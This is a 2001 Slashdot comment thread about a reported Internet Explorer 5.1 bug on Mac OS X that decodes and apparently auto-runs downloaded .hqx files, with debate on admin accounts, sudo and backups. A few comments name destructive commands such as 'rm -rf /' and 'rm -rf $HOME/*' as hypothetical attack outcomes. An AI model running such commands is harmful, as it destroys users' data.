    Its been standard in Mac OS for Stuffit Expander to automatically extract archives once downloaded. Isn't this issue related more to Stuffit Expander than IE?

    --
    --just kicked back like italics
    1. Re:...As I read this article using said browser by Darby · · Score: 1

      Its been standard in Mac OS for Stuffit Expander to automatically extract archives once downloaded. Isn't this issue related more to Stuffit Expander than IE?

      Absolutely not as a quick perusal of the article would have shown you.
      IE does the decoding and execution by itself, completely bypassing Stuffit.
      Basically they built an unstuffer into IE and then hideously fucked up by setting it to execute.
      Stuffit only automatically unstuffs the file. They had the sense not to have files execute without allowing you to scan them first as any sane company would have done.

    2. Re:...As I read this article using said browser by Anonymous Coward · · Score: 0

      >Its been standard in Mac OS for Stuffit Expander
      >to automatically extract archives once
      >downloaded. Isn't this issue related more to
      >Stuffit Expander than IE?

      It's true. I have this same behavior on my powerbook using netscape 4.x and Mac OS8. It's important to point out that Stuffit automatically *extracts* the archives, but doesn't execute programs in them. If this is really executing code (like the article claims) then this is a new bug.

    3. Re:...As I read this article using said browser by Anonymous Coward · · Score: 0

      It executes the extracted file you fool. RTFA next time DS.

    4. Re:...As I read this article using said browser by usfGPM · · Score: 2, Informative

      I believe that Stuffit expander doesn't "execute" the hqx files it downloads, as much as it "processes" them.

      Example: When you download a copy of a program through IE and Stuffit Expander automatically runs after the download completes, the program you downloaded doesn't automatically run after Stuffit quits. You have to double click or open the uncompressed program for it to execute. Therein lies the problem with this version of IE--it executes programs after they are downloaded. See the difference?

    5. Re:...As I read this article using said browser by hearingaid · · Score: 2

      IE5 on OS9 (what I'm using :) automagically extracts .hqx and .bin files.

      This is a cool feature. It avoids the annoying StuffIt! wait when the expander process is spawned.

      Of course, I have Virex enabled, so I get that wait imposed on me.

      Incidentally, Fetch (an FTP client) does too. (It also automagically extracts .gz and .tar files. This is really irritating when I'm just transferring my gzips to the iMac for burning. but oh well. :)

      --

      my old sig used to be funny, but then slashcode ate it and now it's not funny anymore

    6. Re:...As I read this article using said browser by kid_koexist · · Score: 1

      heh! i can feel the love in the air tonight. Thanks for clearing it up for me. Its nice to know /. readers have got my back. lol

      --
      --just kicked back like italics
  8. That's OK ... by Anonymous Coward · · Score: 0

    ... we got lots of choice on OS X for browsers ... OmniWeb, Mozilla, Opera, iCab... not surprised that M$ IE blows, all their other products do.

    1. Re:That's OK ... by chipuni · · Score: 1
      Yeah, but none of those products come pre-installed with OS X.

      By the way, I've noticed that even people from Apple use OmniWeb over Microsoft IE.

      --
      Never play leapfrog with a unicorn. Or a juggernaut.
    2. Re:That's OK ... by codeforprofit2 · · Score: 0, Troll

      Oh! Mod this up! He spelled MS with a $!!!

  9. somewhat unfair to gloat by shibut · · Score: 3, Insightful

    It is unfair to gloat by saying that every time anything comes up on your screen you should have to say OK. It is a judgement call (imagine if you had to OK each image or flash component separately...). One of the most important parts of designing a product (whether sw, hw, or a chair) is what the features it has and what is the default (e.g., the default for a recliner is the upright position and you have to actively do something to make it recline, imagine if it started out reclining, it would be kind of awkward to get into it).

    Having said that, the use of the OK button should be related to the amount of damage a malicious item can cause. In the case of binhex it seems like a no-brainer to ask first...

    1. Re:somewhat unfair to gloat by gburgyan · · Score: 1

      The problem with the "OK" button is that people quickly get conditioned to press it whenever it comes up since that's what they meant most of the time. It seems that for newer versions of Outlook MS decided to do the "OK" dialog with a twist -- it makes you wait 5 seconds before it lets you press it and do potentially damaging things. Perhaps we should adopt something similar in the stuff we do?

    2. Re:somewhat unfair to gloat by Anonymous Coward · · Score: 0

      Besides that, the OK button isn't really the important part, it's the Cancel button that's important...

    3. Re:somewhat unfair to gloat by jesser · · Score: 1

      The problem with the "OK" button is that people quickly get conditioned to press it whenever it comes up since that's what they meant most of the time.

      That's why it's a good idea to make the security warning not appear when the user tries to open a JPEG image attachment (ahem OE 6 for Win98). Actually, the worst case with OE 6 is that a multipart/signed message appears as an empty message with a text attachment and a ".dat" attachment, each of which triggers the warning dialog.

      OE 6 did get one thing right: they made the security warning dialog visually distinct from other dialogs. That makes it likely that users will at least read it once.

      --
      The shareholder is always right.
    4. Re:somewhat unfair to gloat by Anonymous Coward · · Score: 0

      Your comment started out well when you said, "It is unfair to gloat" It really is unfair to be happy about someone elses problems.

      Then your comment went off onto a tangent about clicking "ok" to load images. Basically this is not related to executing foriegn code.

      Fortunately you ended the comment by saying it was pretty dumb to execute the code... It would have been nice if you had reached this conclusion before writing the middle part but the important thing is that you understand it now.

  10. Oh man! by DrInequality · · Score: 1

    I wonder what their rationale was.

  11. OSX bug? try WinXP! by rolux · · Score: 0, Flamebait

    guess that's just another nice try to keep people from using non-microsoft operating systems...

    --
    My next comment will be ready soon, but moderators can beat the rush and mod it up early.
  12. Near-Useless Security by Giant+Hairy+Spider · · Score: 4, Troll

    Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.

    Maybe this will save a little data on systems with multiple users, but we're talking about personal computers here. By definition they are primarily used by one person.

    The protection offered by an administrator account is minimal.

    --

    ---
    You'd be surprised at the broadband connection available to things crawling around in your hair.
    1. Re:Near-Useless Security by Anonymous Coward · · Score: 1

      Of course if you set up the system to automatically back up all files in certain directories every midnight you make the protection much more signifigant.

    2. Re:Near-Useless Security by manly · · Score: 4, Insightful
      I'm surprised the parent was modded up as insightful:
      Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.

      Maybe this will save a little data on systems with multiple users, but we're talking about personal computers here. By definition they are primarily used by one person.

      The protection offered by an administrator account is minimal.

      Yes, data is of primary value to users. However, it costs time and money to fix a hosed system. Especially for the average user, "rerunning the install process" isn't part of a viable security plan.

      As far as protection by using the Admin account, this is a basic tenet of security: assign only the necessary privileges for software to function. Ever wonder why DOS/Win95/Win98/Me are so succeptible to havoc caused by viruses (beyond popularity and braindead M$ application features)? It's because you're always running as de-facto superuser account.

      The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial. Even if that were the case, always running as the Admin account makes it a lot easier for a worm/virus to completely trash your system, taking down your valuable data files along with everything else.

      I think fortunately for Microsoft and its millions of users worldwide, most worms/macro viruses these days are pests that put a drag on the Internet infrastructure, rather than seeking out your data files and wiping them away.

    3. Re:Near-Useless Security by jiheison · · Score: 1

      The problem is, the average "user" is not an admin. How is such a person going to have the knowledge to set themselves up with a user account to protect them from themselves?

      In an OS that is designed to be operated by the average user, isn't the de-facto superuser account always going to be an issue?

    4. Re:Near-Useless Security by manly · · Score: 5, Insightful
      The problem is, the average "user" is not an admin. How is such a person going to have the knowledge to set themselves up with a user account to protect them from themselves?
      You've raised an excellent point, that I'll paraphrase somewhat differently. Normal home PC users don't even begin to understand security well enough to craft any sort of security plan (or measures such as always running a virus scanner on downloads/attachments). There's a trade-off between security and convenience; Microsoft tends to err on the side of convenience (as in the topic of this article).

      I think the short answer to your question is education. Windows XP is a secure multi-user OS, and it's now shipping on consumer PCs. Many users now will have no choice but to gain a better understanding of at least logging in, and what activities (app installation) aren't possible with a "restricted" user account.

      Having said that, I found the Microsoft scheme to ease multiple user computing for consumers is incredibly convoluted. During installation, a superuser account synonymous with root on Unix named Administrator is created.

      However, after booting Lose-XP for the first time and logging in as Administrator, you'll want to add user accounts. Lose-XP forces you to create a "Computer Administrator" account before you can create regular user accounts. After doing so, the Administrator account is hidden from XP's new simplified login screen. The point I'm trying to make is that a relatively basic concept is made more complex, even though the supposedly goal was to make the login screen simpler for Joe Schmoe.

      In an OS that is designed to be operated by the average user, isn't the de-facto superuser account always going to be an issue?
      It's an issue, but as alluded to before, it's being handled very differently now. In DOS and legacy Windows, there was only the de-facto superuser-level user. Now that XP is slated to become standard on all consumer PCs, this is obviously no longer the case.

      Besides my earlier complaint that the handling of users is more complex than it used to be, there is I believe another wrinkle to it (that I read somewhere else). If you add accounts during installation of XP, they receive Administrator credentials instead of normal user privileges. Besides (pre-)installation, login is the first feature users will meet. I don't understand why accounts seem so convoluted in XP.

      Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root. I don't know enough about OS X to comment, but on the face of things, this seems like a simple security policy that many users can actually understand if explained to them.

      In short, unless users are going to treat their PCs as black-box Internet appliances (admin'd by a friend or relative), many of them will have to understand and admin their Windows boxes more than they've been accustomed to.

    5. Re:Near-Useless Security by Anonymous Coward · · Score: 0, Flamebait

      I see your problem.

      You're booting Lose-XP on your computer.

      You need to be using Win-XP.

    6. Re:Near-Useless Security by Giant+Hairy+Spider · · Score: 5, Insightful

      As far as protection by using the Admin account, this is a basic tenet of security: assign only the necessary privileges for software to function.

      Funny thing, the way this works out on a personal computer is that pretty much every program the user runs needs the ability to access the user's data. Otherwise the user is continually tripping over the restrictions and being forced to enter passwords.

      The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial.

      Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

      Even if that were the case, always running as the Admin account makes it a lot easier for a worm/virus to completely trash your system, taking down your valuable data files along with everything else.

      The only thing it makes it easier to trash are the system files. The user data is totally at the mercy of any trojan they run.

      Don't get me wrong, account restrictions could be used to provide better security on a personal computer. However, with rare exceptions, they aren't. The operating environment isn't designed for efficient permissions management and the users aren't sophisticated enough to understand the value anyway.

      Multiuser OSs are just that, and not optimally designed for personal computers. The admin account is there to protect the system from the users, not to protect the users from foreign code. There are definitely improvements that could be made with a dedicated networked-PC OS designed with an eye to protecting the user's data from less-trusted network programs such as the web browser.

      To sum it up, it isn't hard to imagine system features that would protect the user's data from internet code, and while a priviledged admin account could be a part of implementing those features, it doesn't provide them.

      --

      ---
      You'd be surprised at the broadband connection available to things crawling around in your hair.
    7. Re:Near-Useless Security by Tony-A · · Score: 1

      >>I'm surprised the parent was modded up as insightful:
      Astroturfers. Trying to salvage as much face as possible.

      >>Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.
      Neglecting to mention that the install process destroys all personal data.

      >>By definition they are primarily used by one person.
      One person. One login. One account. Sounds pretty dumb and limited to me.

      >>The protection offered by an administrator account is minimal.
      Right. The protection is from a bunch of "user" accounts, which have severly curtailed ability to do damage to each other.

      >>Maybe this will save a little data on systems with multiple users ...
      How generous! Somehow assumes that all the other users have "little data". If many users have "little data" then one user has even less.

    8. Re:Near-Useless Security by Anonymous Coward · · Score: 0
      Mac OS X eliminates the need for a user to know about this sort of thing.

      The default behavior is to create a "main" user that is part of the group "admin", which allows it to su to root if need be. This user is created by an assistant/wizard type program which is automatically run after a user first gets their machine (or does a fresh install of Mac OS X). Any tasks that require root access pop up a dialog asking for a password. Said processes then change effective uid to 0, do their work, and then exit.

      The ability to log in as the actual root account is disabled by default in Mac OS X.

    9. Re:Near-Useless Security by JohnTheFisherman · · Score: 2

      Nobody made an assumption about reinstall being trivial, easy, or otherwise - it's doable, and it takes time. Losing your user data, if it's not properly backed up, like most people's data, it's just GONE. There is no reinstall even possible. For a large chunk of money you could potentially get some of your data back from one of those recovery services, but given the choice, most home users would rather reinstall their OS than hand over their hardware to some person they don't know who gets to comb over every last detail of personal information they have stored. That's if they're lucky and the data's still there, not to mention the cost.

    10. Re:Near-Useless Security by Anonymous Coward · · Score: 0
      Finally, Mac OS X takes a different tack. From what I understand...

      Your post is fine, but i would just like to clarify the exact procedure mac os x takes in case you might find it interesting. (and note that this is explained elsewhere in the current discussion thread.)

      OS X allows you to have any number of users, all of whom are ordinary UNIX users with the interesting exception that you may at any point substitute their full name for their UNIX username if you so wish-- for example, my username might be jdoe, but i could ftp in and give the username "John Doe", and it would be able to tell this is me. Each user may optionally be given "Administrator" privileges using a checkbox in the Users control panel. You may also at your option select one user to be automatically logged into the GUI interface at startup without entering a password. One user is created when the system is installed; this user by default has Admin privilidges and default-startup-login. Users with Admin privilege (though this can be tweaked) are:

      • In the "admin" group, and so have free write access to /Applications and /bin (basically, they can install stuff freely.)
      • Given full access under the sudo tool. Applications which do deep system-fucking (for example, System Preferences and some installers) can have GUI interfaces for the sudo "unlocking". (basically, they can fuck with anything they like, but they have to specifically insert a password every time they do so.)
      Any user is allowed to freely modify the contents of the /Applications(MacOS9) and /SystemFolder folders. Classic has, as it happens, no security model. This is unfortunate, but there is little Apple can do about it. You are free to not run Classic if this bothers you.

      There is, as you said, by default *no* access to the root account, ever. Everything is done through sudo. This seems rather reasonable to me. You can if you want enable the root account, but i see no situation under which you could concievably want to.

    11. Re:Near-Useless Security by ToLu+the+Happy+Furby · · Score: 4, Insightful

      Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

      Absolutely correct.

      However, one simple modification could bring the user's personal data under the protection of the admin account while still leaving it accessible to the user account: have a program running with root privileges which automatically backs up a copy of all the user's documents to a file only root has rights to. Then if the docs get hosed eg. by a virus running as user, one simply needs to login as root to get at a backed-up copy.

      Of course the idea of backing up to another spot on one's own hard drive seems a little strange, but as most *really* important data files tend to be relatively small (unless the user is doing eg. video editing for a living), it seems like a very sensible solution, especially for OS' like Win2k Professional and OSX--which have strong multi-user security, but are generally run as single-user workstations.

      Thoughts?

    12. Re:Near-Useless Security by weave · · Score: 3, Insightful
      Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

      As someone who manages 25 local geeks, I take great offense to this statement, but it's pretty damn typical of user attitudes so it doesn't shock me.

      The local geeks you talk about spend far too much time fixing your screwups and when we try to protect you from yourself by putting strict file perms on your desktop, you go screaming bloody murder because you can't install webshots or some other stupid program-of-the-week your friends told you about.

      So instead of us doing something useful like planning for deploying new technologies, coding useful reports for the mountain of data you need to work with in the company's oracle database, ensuring the company doesn't get sued for license non-compliance, keeping server patches up-to-date, keeping up with security lists, etc, etc, we are running around fixing your screwups because you have no respect for the time or talents of your local geek.

      Thanks for illustrating this common and typical attitude so well...

    13. Re:Near-Useless Security by MonkeyBoy · · Score: 2, Insightful

      Same as every automatic backup method that doesn't allow for regression - if you don't realize you're hosed before the next automatic backup occurs, the needed data can get overwritten with "newer" (e.g. infected, corrupted) versions of the files.

      Not every worm is out to delete files, many of them will modify existing files to re-infect the system after you clean out the obvious.

      --

      Moof!

    14. Re:Near-Useless Security by TheMidget · · Score: 1
      backs up a copy of all the user's documents to a file only root has rights to. Then if the docs get hosed eg. by a virus running as user, one simply needs to login as root to get at a backed-up copy.

      And what if the user doesn't notice it right away that one of his docs has become corrupted? The next time the backups process runs, it will "save" a corrupted version. End result: if the virus is subtle enough (which it will...), then the user has gained absolutely nothing. Unless of course the backup procedure is a full blown version control system, but this may be somewhat space inefficient when dealing with binary files such as Word documents...

    15. Re:Near-Useless Security by MrFudd · · Score: 1

      Funny thing, the way this works out on a personal computer is that pretty much every program the user runs needs the ability to access the user's data. Otherwise the user is continually tripping over the restrictions and being forced to enter passwords.

      Uh, I'm not sure what you mean here by user's data, but under Linux I have no problem running most all programs unprivileged. User data is stored in hidden directories in the home directory. Files I can't access unprivileged include config files and programs in /sbin that could radically alter the system. In short, the system is both secure and usable.

      As for personal stuff, I keep things I really want to keep in a separate partition. That way, when I do re-install my OS, for whatever reason, nothing valuable is lost.

      Multiuser OSs are just that, and not optimally designed for personal computers.

      When I was like a total newbie at Linux, I might have agreed. But not anymore. It's trivial for example to edit fstab to allow users to mount local drives. In our home, we share a computer and an internet connection. Having a multiuser system ensures that each of us has a desktop environment optimized for our computing needs. Home networks are becoming increasingly common, and multiuser systems are ideally suited to meeting the requirements of such small networks.

      ___

      --
      If you meet the wabbit on the woad...
    16. Re:Near-Useless Security by CaptDeuce · · Score: 2, Informative

      Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root.

      Yes, root must explicitly be enabled. There's an added layer of security in that when various admin type tasks need to be performed -- typically installations -- a dialog pops up asking for an admin level passsword. Other settings can be locked with admin level access. Some installations require the user to logout and login again as root though one may argue it's better to simply require root password a la sudo.

      For what it's worth, I avoid using Microsoft products on my Mac whenever possible -- even on my Win2000 at work. While the rest of the office -- including our file server! -- got infected by the Nimda virus I didn't notice a thing since I get my email on my Mac. ;-)

      --
      "Where's my other sock?" - A. Einstein
    17. Re:Near-Useless Security by sir99 · · Score: 1
      There are definitely improvements that could be made with a dedicated networked-PC OS designed with an eye to protecting the user's data from less-trusted network programs such as the web browser.
      That's an interesting idea. For *NIX systems, maybe there could be another account that the browsers etc. could run as, so that they could create files in your home directory, but not delete or modify them. You might have to have an extra account for each user, I dunno. Something like that, or some kind of ACLs could make an improvement in user-level protection.
      --
      The ocean parts and the meteors come down
      Laid out in amber, baby.
    18. Re:Near-Useless Security by jekk · · Score: 1

      I do this. I assume it works well... I'm not certain because I'm careful about viruses and worms and haven't lost (the original copy of) my data yet.

    19. Re:Near-Useless Security by dasunt · · Score: 2


      So, who wants to bet when we'll see the first virus that finds a security hole to gain Administrator's rights, uses that hole to install itself, then patches that hole, leaving the user with only a normal user account, effectively locking them out of their own computer?


      OTOH, since windows has to be registered on a reinstall, this should be a fun time for Microsoft. ;)

    20. Re:Near-Useless Security by slashdot2.2sucks · · Score: 1
      Multiuser OSs are just that, and not optimally designed for personal computers.

      Obviously you know better than we do because, you also know better than Apple , "lord of the desktop."

      However I think that Apple and UNIX knows much better than you. Think about this, you have a family of 4 all sharing a single OSX/Linux computer. Your dumb ass runs a virus and destroys all your files and runs an IRC bot whenever you log in. However, the rest of your family and the system are fine and did not have to suffer from your stupidity.

      In other words Multiuser means multiple users. Go back to DOS you freak.

    21. Re:Near-Useless Security by greed · · Score: 1

      Actually, you don't need to activate the root account to do root things. Apple ships a pre-configured "sudo" that will let you do everything you want without ever needing to "login" as root. (Since they allow starting shells, it's as good as a real root account, with the benefits of sudo.)
      As other people point out elsewhere, any SUID program can be abused once you've got a program running.

    22. Re:Near-Useless Security by yakovlev · · Score: 1

      Not quite. MacOS X still has the (user-level) concept of administrator and "user" accounts.

      Administrator accounts can use sudo to do pretty much whatever they want.

      User accounts cannot use sudo, so they're pretty limited as to what they can do.

      However, most people I know only have/use an administrator account, so this limits their protection to that provided by sudo (which is probably reasonable for a personal computer, depending on what the timeouts are set to.)

      As for enabling root, after poking around at the security configuration of a friend's box I decided that this is a stupid thing to do from a security perspective, and should only be done if you have a REALLY good reason. (A really good reason would be a unix program that requires that the root account be able to log in, and these are few and far between these days.)

    23. Re:Near-Useless Security by Tassach · · Score: 2
      "any SUID program can be abused once you've got a program running"


      Which is why you should avoid setuid root like the plague. Setuid to another, unprivilidged account is a lot safer - if that account is compromised, the rest of the system remains safe.

      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
    24. Re:Near-Useless Security by Anonymous Coward · · Score: 0
      The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial.

      Compared to the time required to write a masters thesis, or a few years worth of email correspondance, or to take a few gigs of digital photos, the time required to reinstall the operating system is trivial.

    25. Re:Near-Useless Security by yakovlev · · Score: 1

      Another fix (not available in a normal unix configuration) is to not allow normal users to have exececutable files. Most users don't need to run anything from their own filespace, they only need to run programs owned by root or some other administrative user.

      This requires "developer" accounts that are able to run their own programs, but the average Joe/Jane doesn't need to do this, and so developer accounts can be isolated and used only for development in situations where they're really needed.

      A weakness in this solution is that it doesn't prevent the user from opening a file that causes a trusted program to do rm -rf $HOME/*. However, there's very little that can be done to prevent such attacks without having the user periodically back-up their data (recovery, not prevention) or having them edit every file in it's own sandbox requiring explicit user intervention to change (or possibly even read) any other file. (I.E. more hassle than the ordinary user is willing to put up with.)

      There are variations on the sandbox idea that can be implemented with capabilities, but these are going to be significantly more complex than the solutions available in current operating systems, and most likely difficult for the average user to secure adequately.

    26. Re:Near-Useless Security by OsamaBinLogin · · Score: 1

      >Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root. I don't know enough about OS X to comment, but on the face of things, this seems like a simple security policy that many users can actually understand if explained to them.

      Yes. During install, you are asked to decide and enter a root password, as usual. After that, you CANNOT log in as "root" until a magic thing is enabled somewhere. I forget where, but it was not intuitive to find it, and I didn't get it enabled until I'd had it for a week. I think in NetInfo somewhere. Read it in a magazine. I'd guess most users won't bother or won't have the wherewithall.

      Anyway, you don't really need the root account for most stuff. Yes this means software installed as your username will be owned by your username and will be vulnerable to whatever attacks, running as your username. Such as an executable downloaded and run automatically.

      Apple has done a remarkable job of all of this. /var, /etc, and some other traditional Unix directories are invisible to the traditional Mac applications - besides being protected by being owned by root. They are actually symlinks into the directory /private, and MacOS doesn't do symlinks, only aliases. And bsd doesn't do aliases, only simlinks. Crazy. /usr and some others are real directories, not sure why mac apps can't see them, maybe it's hardwired in. I'm sure a Unix-side app can get at them in the Unix way, except for the permissions as usual.

      It's ready for prime time and much better for the consumer market than any Unix ever has been. And the command line is always there if you want it.

      --
      Marketing-driven companies end up over-marketing their products. Engineering-driven companies end up over-engineering
  13. Microsoft cares about security! by hoggoth · · Score: 1

    I had an Excel spreadsheet and was going to put passwords in it, because Microsoft has "strong security" features such as encrypted Excel files. Good thing I did a Google search on the topic first:

    > We search for the encryption key that Excel® used to encrypt the spreadsheet. There are many fewer keys than possible passwords, hence we are able to search all of the possible keys in 7 to 10 days.

    I found several services offering 100% guarantee to decrypt an encrypted Excel or Word file in under two weeks.

    Thanks Microsoft.

    --
    - For the complete works of Shakespeare: cat /dev/random (may take some time)
    1. Re:Microsoft cares about security! by Anonymous Coward · · Score: 0

      windows 2000 allows encrypting of files on an fs level-use that instead.

      I can offer you a 100% guarantee of decrypting any unix/linux passwd file in under 1 week, btw.

    2. Re:Microsoft cares about security! by Rashkae · · Score: 1

      You shouldn't bother with those 2 weeks programs. I've found all kinds of programs that will crack MS word, Excel and Access files in under 2 seconds.

  14. I've got four words for you... by Stenpas · · Score: 1

    What a big surprise.

  15. Security Hole a Hoax by iGawyn · · Score: 1

    I'm currently running 10.1 (5G64) and have ran many other builds of OSX, both pre-10.0, 10.0.x, and pre-10.1. In all of those builds, I've never seen MS IE auto-launch a hqx as the article at Macintouch claims. I first heard about this last night, checked with several of my friends who also use 10.1, and we were unable to duplicate the security hole.

    Personally, I think it's something written by a person who misconfigured their system and is looking to blame Microsoft for more things.

    Gawyn

    1. Re:Security Hole a Hoax by Karl+Cocknozzle · · Score: 1

      IE5 does this on my OS X machine every time since 10.0.0. After downloading any archive stuffit automatically unstuffs it.

      Mozilla 0.9.4 only opens archives when you say "Open Now" instead of "Save to Disk".

      --
      Who did what now?
    2. Re:Security Hole a Hoax by flwombat · · Score: 2, Informative

      For what it's worth (not much), the behavior of IE under Mac OS 9 (if I remember right) is to download the file, then throw an apple event to the decoder (usually Stuffit Expander). Something like "hey Stuffit, open the file HD:Desktop Folder:foo.hqx". That's as opposed to sending the Finder a command to open foo.hqx and letting file type/creator code determine which app to use. I don't know how it works under OS X.

      However, I installed OS X and the 10.1 upgrade the other day, and I don't have the problem described.

      --
      ---------
      get your war on
    3. Re:Security Hole a Hoax by Anonymous Coward · · Score: 1, Funny

      No. It has been verified.

      Your claim of a hoax is the only hoax here.

    4. Re:Security Hole a Hoax by Anonymous Coward · · Score: 0

      I'm not a fulltime Mac user by any means, but every version of IE/Mac that I've ever used (going back to v. 2.1 or whatever) unbixhexed files automatically as part of the download process. It would then launch Stuffit if the result was a SIT file -- that part apparently changed with IE 5.0 which also included it's own unstuff code.

      This differs from other client apps which rely on Stuffit to both deBinHex and unstuff.

    5. Re:Security Hole a Hoax by moof1138 · · Score: 1

      I tried very hard to reproduce this but could not. A lot of folks are misunderstanding the difference between just decoding - which does happen and which is not a major security concern (you opted to download the file, after all), and decoding and executing the file (which would be bad, but which I cannot get to happen, despite a number of tries).

      --

      Hyperbole is the worst thing ever.
    6. Re:Security Hole a Hoax by Anonymous Coward · · Score: 0
      IE5 does this on my OS X machine every time since 10.0.0. After downloading any archive stuffit automatically unstuffs it.

      Hey, Cocknozzle, did you actually read the article? The issue is automatic execution, not automatic decompression.

  16. Thanks, Apple by green+pizza · · Score: 0, Troll

    Didn't anyone see this coming?? I can't belive Apple would allow such a dumb "feature".

    I do have one question, though... being a Unix-derrived OS, does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?

    1. Re:Thanks, Apple by talks_to_birds · · Score: 1
      • Didn't anyone see this coming?? I can't belive Apple would allow such a dumb "feature".

      I'm sorry... did I miss something?

      I thought Internet Explorer 5.1 was a Micro$oft product..

      t_t_b

      --
      I'm on PJ's "enemies" list! Are you?
    2. Re:Thanks, Apple by ehintz · · Score: 1

      I do have one question, though... being a Unix-derrived OS, does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?

      Short answer: no. Long answer: it depends. The first user created is an admin user by default, and the admin user can do nasty things. Obviously, a single user environment will be an admin user, and therefore able to have more power. It would mostly depend upon how well written the application is-the demo app showing this exploit actually runs in the classic macos environment, so it's damage would be even more limited.

      --
      ehintz
    3. Re:Thanks, Apple by bnenning · · Score: 2
      does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?


      "Admin" users do, non-admin users don't. The default user account Mac OS X sets up is a member of the admin group, and can create other admin and non-admin users. /Applications and /Library are root/admin and group-writable. The kernel and /System are only writable by root, as are the /bin, /usr/bin, /usr/lib and other "Unix" directories. An admin user doing rm -rf / would trash the installed applications, but probably wouldn't render the system unbootable (although I'm not willing to test that right now...)

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
    4. Re:Thanks, Apple by motherhead · · Score: 1

      Apple did not write Microsoft Explorer 5.1, no

      Apple did not include a preference panel inclosed inside of Microsoft Explorer 5.1. in this panel there is an option called: "download functions" if you deselect the two buttons that say, "Automatically decode MacBinary files" and also "Automatically decode BinHex files"... well then guess what? Microsoft Explorer 5.1 will not automatically decode MacBinaries and BinHex files.

      then this whole ugly sorded amazingly complicated and far reaching breech will be gone.

      Stupid Apple.

      no, you don't need root access to the preferance control panel.

      no.

    5. Re:Thanks, Apple by NutscrapeSucks · · Score: 1

      Short Answer is actually Yes. The installer creates an Admin user and then logs that person on automatically at boot. There's nothing particular in the installer or the setup screens to help you or encourage you to create an unprivledged user. However, there are certain GUI actions that require an admin password for confirmation.

      Due to the law of defaults, my guess is 90% of OS X users are running with Admin privs.

      --
      Whenever I hear the word 'Innovation', I reach for my pistol.
    6. Re:Thanks, Apple by Meech · · Score: 0

      you answered your own question. It is a Unix derived OS, which means that to do anything malicious, one has to logon as root.

    7. Re:Thanks, Apple by Chester+K · · Score: 2

      I do have one question, though... being a Unix-derrived OS, does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?

      Probably not, but when it comes down to brass tacks, the part of the system that stings the user the most when it gets damaged is the user's data, which is accessible to the user and fair game to a trojan horse/virus/backdoor.

      I'm only out an hour if I just have to reinstall the OS. I'm out possibly several months if my data gets wiped out and I don't back up (like the average user).

      --

      NO CARRIER
    8. Re:Thanks, Apple by Anonymous Coward · · Score: 0

      Duh! This is a M$ product, not an Apple product; just because they include it doesn't mean it's Apple's own security hole.

      *sigh* can you believe this, M$ has a security hole!? Damn! That's sure new to me.. And to think, I always thought M$ was as secure as nothing other than OpenBSD!

      PS: OpenBSD RULES!

      www.openbsd.org

  17. Original posting by tbmaddux · · Score: 3, Informative
    Here's the original posting by one of the Macintouch readers... it's pretty far down on the linked page so here's the full text:

    "Date: Sat, 29 Sep 2001 17:02:59 -0400
    From: [MacInTouch reader]
    Subject: Security Alert for Explorer 5.1 (MacOS X 10.1)

    I am shocked to report a huge security hole in the latest Internet Explorer version 5.1 that comes preinstalled on MacOS X 10.1

    Every .hqx encoded classic application is decoded by explorer itself (that's the default, stuffit expander isn't used) and then AUTOMATICALLY STARTED!

    This is totally unacceptable. You can test this simply by pointing your browser to

    http://www.pardeike.net/danger.hqx

    where I put a very small C program that just displays a message (trust me, it *only* does that message, nothing more)"

    --
    Can't you see that everyone is buying station wagons?
    1. Re:Original posting by Seehund · · Score: 1

      http://www.pardeike.net/danger.hqx


      How long do you think it'll be before the trolls start posting goatse.hqx links?

      --
      Help savingAmigaOS and a free PowerPC market
  18. my experience by ArchieBunker · · Score: 0

    Ok so I picked up an old Quadra 610 that was going to get trashed. The hdd was stuck so a few good whacks and it spun up. Macos 7.6.1 started to load up. I thought hey I can run NetBSD on this thing, maybe throw in some more ram (8mb x2).

    I had the most difficult time just getting stuffit installed. For you windows users here is the equivelent: You need to open a .zip file and pkunzip only is distributed in .zip. See my point?

    Anyhow without this simple utility it was impossible to run any software. After doing some google searches the response seemed to be "find someone with a mac and have them make a disk or get one from a magazine. It has something to do with the filesystem and the data fork blah blah. But damn was my macos experience a shitty one.

    --
    Only the State obtains its revenue by coercion. - Murray Rothbard
    1. Re:my experience by Anonymous Coward · · Score: 1, Insightful

      That's actually the root cause of this discussion -- Microsoft attempted to resolve the "SIT paradox" by including automatic decoding and unstuffing in the browser. They also kindly added auto-execution.

      Believe me, it used to be a lot worse because you needed seperate tools for de-BinHexing and de-MacBinarying files.

    2. Re:my experience by Anonymous Coward · · Score: 0

      Where the heck did you get Stuffit compressed in .sit format???? Thats insane - its nearly always in a binhexed self-extracting archive.

      Tom

    3. Re:my experience by ArchieBunker · · Score: 0

      well one of the other issues was un-binhexing the file. I tried with winzip but of course lost the data fork that told macos what to do with it. If they had given me a .sea file it might have been ok.

      --
      Only the State obtains its revenue by coercion. - Murray Rothbard
    4. Re:my experience by Anonymous Coward · · Score: 1

      Key word is self-extracting. I'm sorry if you had a bad experience, but Aladin's website is very clear about the options and the self-extracting archive is one of them. It does not require another program to execute the decompression.

  19. Defaults by Kaiser+Sose · · Score: 1

